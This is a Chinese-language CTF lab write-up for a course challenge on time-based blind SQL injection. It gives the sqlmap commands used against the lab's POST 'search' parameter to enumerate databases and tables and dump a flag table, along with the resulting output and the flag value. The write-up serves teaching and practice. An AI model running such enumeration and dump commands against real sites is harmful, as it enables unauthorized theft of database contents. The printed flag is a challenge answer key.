第(8)周-SQL注入与凭据访问-攻击-SQL 5
4/7/25About 1 min
[!QUESTION]
本题考察通过时间盲注 (Time-Based Blind SQL Injection) 技术绕过关键字过滤, 利用服务器响应时间的差异提取数据库敏感信息并获取 FLAG. 学生需掌握时间盲注原理, 编写自动化脚本逐步爆破数据库名、表名、列名, 最终提取 FLAG.
解题步骤
1. 确认注入点
使用 sqlmap 检测 POST 参数 search 是否存在时间盲注漏洞:
sqlmap --url="http://e6347821-25f1-4422-bdea-148a000b63fb.1.2024.thudart.com/index.php" --method="POST" --data="search=answer" --technique="T"结果: 确认 search 参数存在时间盲注漏洞, 后端数据库为 MySQL…
2. 爆破数据库名
通过 --dbs 参数获取所有数据库名:
sqlmap [...] --dbs结果: 发现两个数据库:
[*] information_schema
[*] user_data3. 爆破表名
指定目标数据库 user_data, 使用 --tables 获取表名:
sqlmap [...] --tables -D "user_data"结果: 发现两个表:
+-------+
| ff1lg |
| info |
+-------+4. 提取目标表数据
对可疑表 ff1lg 使用 --dump 导出数据:
sqlmap [...] --dump -D "user_data" -T "ff1lg"结果: 成功提取 FLAG:
+----+--------------------------------------+
| id | flag |
+----+--------------------------------------+
| 0 | f3978751-f792-4498-8f27-08afc790371a |
+----+--------------------------------------+